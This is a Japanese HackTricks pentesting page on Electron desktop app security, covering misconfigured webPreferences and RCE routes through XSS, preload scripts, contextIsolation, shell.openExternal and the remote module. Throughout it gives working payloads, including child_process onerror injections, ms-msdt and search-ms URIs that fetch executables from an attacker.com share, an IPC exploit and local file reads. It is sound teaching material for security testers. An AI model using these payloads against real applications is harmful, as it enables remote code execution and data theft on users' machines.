Electron Desktop Apps

Reading time: 25 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Introduction

Electronは、ローカルバックエンド(NodeJS)とフロントエンド(Chromium)を組み合わせていますが、最新のブラウザのセキュリティメカニズムのいくつかが欠けています。

通常、Electronアプリのコードは.asarアプリケーション内に見つかります。コードを取得するには、抽出する必要があります:

bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Electronアプリのソースコード内のpacket.jsonには、セキュリティ設定が行われているmain.jsファイルが指定されています。

json
{
"name": "standard-notes",
"main": "./app/index.js",

Electronには2つのプロセスタイプがあります:

  • メインプロセス(NodeJSへの完全なアクセス権を持つ)
  • レンダラープロセス(セキュリティ上の理由からNodeJSへのアクセスが制限されるべき)

レンダラープロセスは、ファイルを読み込むブラウザウィンドウになります:

javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

renderer processの設定は、main.jsファイル内のmain process構成できます。いくつかの設定は、設定が正しく構成されている場合、ElectronアプリケーションがRCEやその他の脆弱性を持つのを防ぐことができます。

Electronアプリケーションは、Node APIを介してデバイスにアクセスすることができますが、それを防ぐように構成することもできます:

  • nodeIntegration - デフォルトではoffです。オンの場合、renderer processからNode機能にアクセスできます。
  • contextIsolation - デフォルトではonです。オフの場合、mainとrendererプロセスは隔離されません。
  • preload - デフォルトでは空です。
  • sandbox - デフォルトではオフです。NodeJSが実行できるアクションを制限します。
  • WorkersにおけるNode Integration
  • nodeIntegrationInSubframes - デフォルトではoffです。
  • nodeIntegration有効になっている場合、これはElectronアプリケーション内のiframeで読み込まれたウェブページでNode.js APIsの使用を許可します。
  • nodeIntegration無効になっている場合、preloadsはiframe内で読み込まれます。

構成の例:

javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

いくつかの RCEペイロードhere から:

html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

トラフィックのキャプチャ

start-main構成を変更し、次のようなプロキシの使用を追加します:

javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electronローカルコードインジェクション

Electronアプリをローカルで実行できる場合、任意のJavaScriptコードを実行させることが可能です。方法は以下を確認してください:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

nodeIntegrationonに設定されている場合、ウェブページのJavaScriptはrequire()を呼び出すだけでNode.jsの機能を簡単に使用できます。例えば、Windowsで計算機アプリケーションを実行する方法は次の通りです:

html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

この設定で示されたスクリプトは、レンダラー内の他のスクリプトの前に読み込まれ、したがってNode APIへの無制限のアクセスを持ちます:

javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

したがって、スクリプトはnode-featuresをページにエクスポートできます:

preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > contextIsolationがオンの場合、これは機能しません

RCE: XSS + contextIsolation

contextIsolation は、ウェブページのスクリプトとJavaScript Electronの内部コードの間に分離されたコンテキストを導入し、各コードのJavaScript実行が互いに影響を与えないようにします。これはRCEの可能性を排除するために必要な機能です。

コンテキストが分離されていない場合、攻撃者は以下のことができます:

  1. レンダラーで任意のJavaScriptを実行(XSSまたは外部サイトへのナビゲーション)
  2. プリロードまたはElectron内部コードで使用される組み込みメソッドを上書きして自分の関数にする
  3. 上書きされた関数の使用をトリガー
  4. RCE?

組み込みメソッドを上書きできる場所は2つあります:プリロードコードまたはElectron内部コード:

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

クリックイベントのバイパス

リンクをクリックする際に制限が適用されている場合、通常の左クリックの代わりにミドルクリックを行うことでそれらをバイパスできるかもしれません。

javascript
window.addEventListener('click', (e) => {

RCE via shell.openExternal

この例に関する詳細はhttps://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8およびhttps://benjamin-altpeter.de/shell-openexternal-dangers/を確認してください。

Electronデスクトップアプリケーションを展開する際には、nodeIntegrationcontextIsolationの設定が正しいことを確認することが重要です。**クライアント側のリモートコード実行(RCE)**がプリロードスクリプトやメインプロセスからのElectronのネイティブコードをターゲットにする場合、これらの設定が整っていれば効果的に防止されることが確立されています。

ユーザーがリンクと対話したり新しいウィンドウを開いたりすると、特定のイベントリスナーがトリガーされ、アプリケーションのセキュリティと機能にとって重要です:

javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

これらのリスナーはデスクトップアプリケーションによってオーバーライドされ、独自のビジネスロジックを実装します。アプリケーションは、ナビゲートされたリンクが内部で開かれるべきか、外部のウェブブラウザで開かれるべきかを評価します。この決定は通常、openInternallyという関数を通じて行われます。この関数がfalseを返す場合、リンクは外部で開かれるべきであり、shell.openExternal関数を利用します。

以下は簡略化された擬似コードです:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JSのセキュリティベストプラクティスは、openExternal関数で信頼できないコンテンツを受け入れることを避けるように助言しています。これは、さまざまなプロトコルを通じてRCEを引き起こす可能性があります。オペレーティングシステムは、RCEを引き起こす可能性のある異なるプロトコルをサポートしています。このトピックに関する詳細な例とさらなる説明については、このリソースを参照してください。ここには、この脆弱性を悪用できるWindowsプロトコルの例が含まれています。

macOSでは、openExternal関数を悪用して、shell.openExternal('file:///System/Applications/Calculator.app')のように任意のコマンドを実行できます。

Windowsプロトコルの悪用の例には:

html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

RCE: webviewTag + 脆弱なプリロードIPC + shell.openExternal

この脆弱性は**このレポート**にあります。

webviewTag非推奨の機能で、レンダラープロセス内でNodeJSを使用することを可能にします。これは、プリロードコンテキスト内でスクリプトを読み込むことを許可するため、無効にするべきです。

xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

したがって、任意のページを読み込むことができる攻撃者は、そのタグを使用して任意のプリロードスクリプトを読み込むことができます。

このプリロードスクリプトは、その後、**脆弱なIPCサービス(skype-new-windowを呼び出すために悪用され、shell.openExternal**を呼び出してRCEを取得しました:

javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();

内部ファイルの読み取り: XSS + contextIsolation

contextIsolationを無効にすると、ローカルファイルを読み取るために<webview>タグを使用できるようになります。これは<iframe>に似ています。この脆弱性を利用して内部ファイルの内容を読み取る方法の例が示されています:

さらに、内部ファイルを読み取るための別の方法が共有されており、Electronデスクトップアプリにおける重要なローカルファイル読み取りの脆弱性が強調されています。これには、アプリケーションを悪用しデータを抽出するためのスクリプトを注入することが含まれます:

html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + Old Chromium

もしアプリケーションで使用されているchromium古いもので、既知の****脆弱性がある場合、XSSを通じてそれを****悪用してRCEを取得することが可能かもしれません。
このwriteupの例を参照してください: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing via Internal URL regex bypass

XSSを見つけたが、RCEをトリガーできないか内部ファイルを盗むことができない場合、フィッシングを通じて資格情報を盗むためにそれを使用することを試みることができます。

まず最初に、新しいURLを開こうとしたときに何が起こるかを知る必要があります。フロントエンドのJSコードを確認してください:

javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

openInternallyへの呼び出しは、リンクがプラットフォームに属するリンクであるため、デスクトップウィンドウ開かれるか、ブラウザで3rdパーティリソースとして開かれるかを決定します。

関数によって使用されるregexバイパスに対して脆弱な場合(例えば、サブドメインのドットをエスケープしない場合)、攻撃者はXSSを悪用して、攻撃者のインフラストラクチャに位置する新しいウィンドウを開き、ユーザーに認証情報を要求することができます。

html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

file:// プロトコル

ドキュメントに記載されているように、file:// で実行されるページは、あなたのマシン上のすべてのファイルに一方的にアクセスできるため、XSSの問題を利用してユーザーのマシンから任意のファイルを読み込むことができますカスタムプロトコルを使用することで、このような問題を防ぐことができ、プロトコルを特定のファイルセットのみを提供するように制限できます。

リモートモジュール

Electronのリモートモジュールは、レンダラープロセスがメインプロセスのAPIにアクセスすることを可能にし、Electronアプリケーション内の通信を促進します。しかし、このモジュールを有効にすると、重大なセキュリティリスクが生じます。アプリケーションの攻撃面が拡大し、クロスサイトスクリプティング(XSS)攻撃などの脆弱性に対してより脆弱になります。

tip

リモートモジュールは、メインからレンダラーへのプロセスにいくつかのAPIを公開しますが、コンポーネントを悪用するだけでRCEを取得するのは簡単ではありません。しかし、コンポーネントは機密情報を公開する可能性があります。

warning

リモートモジュールをまだ使用している多くのアプリは、レンダラープロセスでNodeIntegrationを有効にする必要がある方法で実装されており、これは大きなセキュリティリスクです。

Electron 14以降、Electronのremoteモジュールは、セキュリティとパフォーマンスの理由からいくつかのステップで有効にする必要があり、使用しないことが推奨されています

これを有効にするには、まずメインプロセスで有効にする必要があります:

javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)

その後、レンダラープロセスは、モジュールからオブジェクトを次のようにインポートできます:

javascript
import { dialog, getCurrentWindow } from '@electron/remote'

ブログ記事 は、リモートモジュールのオブジェクト app によって公開されているいくつかの興味深い 関数 を示しています:

  • app.relaunch([options])
  • 現在のインスタンスを終了し、新しいインスタンスを起動することでアプリケーションを再起動します。アプリの更新や重要な状態変更に便利です。
  • app.setAppLogsPath([path])
  • アプリログを保存するためのディレクトリを定義または作成します。ログは app.getPath() または app.setPath(pathName, newPath) を使用して取得または変更できます。
  • app.setAsDefaultProtocolClient(protocol[, path, args])
  • 指定されたプロトコルデフォルトハンドラーとして現在の実行可能ファイルを登録します。必要に応じてカスタムパス引数を提供できます。
  • app.setUserTasks(tasks)
  • ジャンプリストタスクカテゴリにタスクを追加します(Windows上)。各タスクはアプリがどのように起動されるか、またはどの引数が渡されるかを制御できます。
  • app.importCertificate(options, callback)
  • システムの証明書ストアPKCS#12証明書インポートします(Linuxのみ)。コールバックを使用して結果を処理できます。
  • app.moveToApplicationsFolder([options])
  • アプリケーションをアプリケーションフォルダ移動します(macOS上)。Macユーザーのための標準インストールを確保するのに役立ちます。
  • app.setJumpList(categories)
  • Windows上でカスタムジャンプリスト設定または削除します。タスクがユーザーにどのように表示されるかを整理するためにカテゴリを指定できます。
  • app.setLoginItemSettings(settings)
  • ログイン時に起動する実行可能ファイルとそのオプション構成します(macOSおよびWindowsのみ)。
javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

systemPreferences モジュール

Electron におけるシステム設定にアクセスし、システムイベントを発信するための 主要な APIsubscribeNotificationsubscribeWorkspaceNotificationgetUserDefault、および setUserDefault のようなメソッドはすべてこのモジュールの 一部 です。

使用例:

javascript
const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

  • ネイティブmacOS通知をNSDistributedNotificationCenterを使用してリッスンします。
  • macOS Catalina以前は、CFNotificationCenterAddObserverにnilを渡すことですべての配布通知をスニッフィングできました。
  • Catalina / Big Sur以降、サンドボックス化されたアプリは、通知を名前で登録することで、多くのイベント(例えば、画面のロック/ロック解除ボリュームのマウントネットワークアクティビティなど)にサブスクライブできます。

getUserDefault / setUserDefault

  • NSUserDefaultsインターフェースし、macOS上のアプリケーションまたはグローバルな設定を保存します。

  • getUserDefaultは、最近のファイルの場所ユーザーの地理的位置などの機密情報を取得できます。

  • setUserDefaultは、これらの設定を変更でき、アプリの構成に影響を与える可能性があります。

  • 古いElectronバージョン(v8.3.0以前)では、標準スイートのNSUserDefaultsのみがアクセス可能でした。

Shell.showItemInFolder

この関数は、指定されたファイルをファイルマネージャーで表示し、ファイルを自動的に実行する可能性があります

詳細については、https://blog.doyensec.com/2021/02/16/electron-apis-misuse.htmlを確認してください。

Content Security Policy

Electronアプリは、XSS攻撃防ぐためにContent Security Policy (CSP)を持つべきです。CSPは、ブラウザ内での信頼できないコード実行防ぐのに役立つセキュリティ標準です。

通常、main.jsファイルまたはindex.htmlテンプレート内のmetaタグ内にCSPを設定します。

詳細については、以下を確認してください:

Content Security Policy (CSP) Bypass

Tools

  • Electronegativityは、Electronベースのアプリケーションにおける設定ミスやセキュリティアンチパターンを特定するためのツールです。
  • Electrolintは、Electronegativityを使用するElectronアプリケーション用のオープンソースのVS Codeプラグインです。
  • nodejsscanは、脆弱なサードパーティライブラリをチェックします。
  • Electro.ng: 購入が必要です。

Labs

https://www.youtube.com/watch?v=xILfQGkLXQo&t=22sで脆弱なElectronアプリを悪用するためのラボを見つけることができます。

ラボを手助けするいくつかのコマンド:

bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする